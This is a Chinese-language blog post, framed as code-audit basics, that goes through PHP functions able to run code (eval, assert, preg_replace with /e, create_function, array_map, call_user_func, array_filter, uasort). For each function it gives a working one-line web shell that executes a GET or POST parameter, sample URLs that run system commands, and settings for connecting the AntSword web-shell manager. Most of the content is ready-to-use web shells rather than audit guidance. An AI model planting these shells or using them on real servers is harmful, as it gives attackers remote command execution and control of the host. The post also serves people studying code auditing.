审计基础-PHP代码执行

代码执行

  1. eval()
PHP 457
eval — 把字符串作为PHP代码执行,字符串要符合语法规则
eval ( string $code ) : mixed

命令执行利用:

<?php @eval($_GET['cmd']); ?>
test.php?cmd=system(whoami);
注意分号

蚁剑:cmd改post接收,密码cmd
注意:eval是一个语言构造器而不是一个函数,所以不能被可变函数调用,例如:

$a='eval';
$a('phpinfo();');
报错:PHP Fatal error:  Uncaught Error: Call to undefined function eval() in
  1. assert()
PHP 457
assert — 检查一个断言是否为 FALSE
5:assert ( mixed $assertion [, string $description ] ) : bool
7:assert ( mixed $assertion [, Throwable $exception ] ) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

命令执行利用:

<?php @assert($_GET['cmd']); ?>
test.php?cmd=system(ipconfig)
可不加分号

蚁剑:cmd改post接收,base64编码,密码cmd

  1. preg_replace()
PHP 45
preg_replace — 执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
搜索subject中匹配pattern的部分, 以replacement进行替换。
如果pattern使用/e,则函数会转义('、"、 \ 和 NULL)后,将搜索替换后的结果字符串作为php代码使用eval执行

命令执行利用:

<?php preg_replace("/test/e",$_GET["cmd"],"just test"); ?>
参考assert
test.php?cmd=eval(phpinfo())
test.php?cmd=eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))

蚁剑:cmd改post接收,base64编码,密码cmd
PHP 7.0.0起,会产生 E_WARNING 错误,同时 "\e" 也无法起效,即无法执行代码。

  1. create_function()
PHP 457
create_function — 创建一个匿名(lambda样式)函数
create_function ( string $args , string $code ) : string
$args函数名,$code函数结构体内容
$code会被eval()执行

命令执行利用:

<?php $func =create_function('',$_GET['cmd']);$func(); ?>
参考eval
test.php?cmd=system(whoami);

蚁剑:cmd改post接收,base64编码,密码cmd

  1. array_map
PHP 457
array_map — 为数组的每个元素应用回调函数
array_map ( callable $callback , array $array1 [, array $... ] ) : array
对array1的每个元素应用callback函数
$callback为assert,则把$array1数组的每个元素各作为assert()的参数执行一次

命令执行利用:

<?php 
  $func=$_GET['func'];
  $cmd=$_GET['cmd'];
  $array[0]=$cmd;
  $new_array=array_map($func,$array);
命令执行:
test.php?func=assert&cmd=system(ipconfig)

蚁剑:cmd改POST接收,test.php?func=assert,base64编码,密码cmd

  1. call_user_func()
PHP 457
call_user_func — 把第一个参数作为回调函数调用
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
$callback 为 assert,则 $parameter 为 assert() 的参数

命令执行利用:

<?php call_user_func("assert",$_GET['cmd']); ?>
test.php?cmd=system(whoami)

蚁剑:cmd改post接收,base64编码,密码cmd

  1. call_user_func_array()
PHP 457
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array ( callable $callback , array $param_arr ) : mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。与array_map相似,不同的是param_arr的所有元素都是一次callback的参数
$callback 为 assert,则 $param_arr 为 assert() 的所有参数

命令执行利用:

<?php
  $cmd=$_GET['cmd'];
  $array[0]=$cmd;
  call_user_func_array("assert",$array);
命令执行:
test.php?cmd=system(whoami)

蚁剑:cmd改post接收,base64编码,密码cmd

  1. array_filter()
PHP 457
array_filter — 用回调函数过滤数组中的单元
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
$callback 为 assert,则 $array 的每个元素依次为 assert() 的参数

命令执行利用:

<?php
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
命令执行:
test.php?cmd=system(ipconfig)&func=assert

蚁剑:cmd改post接收,test.php?func=assert,base64编码,密码cmd

  1. uasort()
PHP 457
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
uasort ( array &$array , callable $value_compare_func ) : bool
本函数对数组排序并保持索引和单元之间的关联。比较函数是用户自定义的。
$value_compare_func为assert,则$array为assert()的参数

命令执行利用:

<?php usort($_GET,assert); ?>
test.php?1=1+1&cmd=system(whoami)

蚁剑:test.php?1=1+1&2=eval($_POST[cmd]),密码cmd

参考

https://www.cnblogs.com/-qing-/p/10819069.html
https://www.php.net/manual/zh/

posted @ 2020-08-13 17:13  雨九九  阅读(330)  评论(0编辑  收藏  举报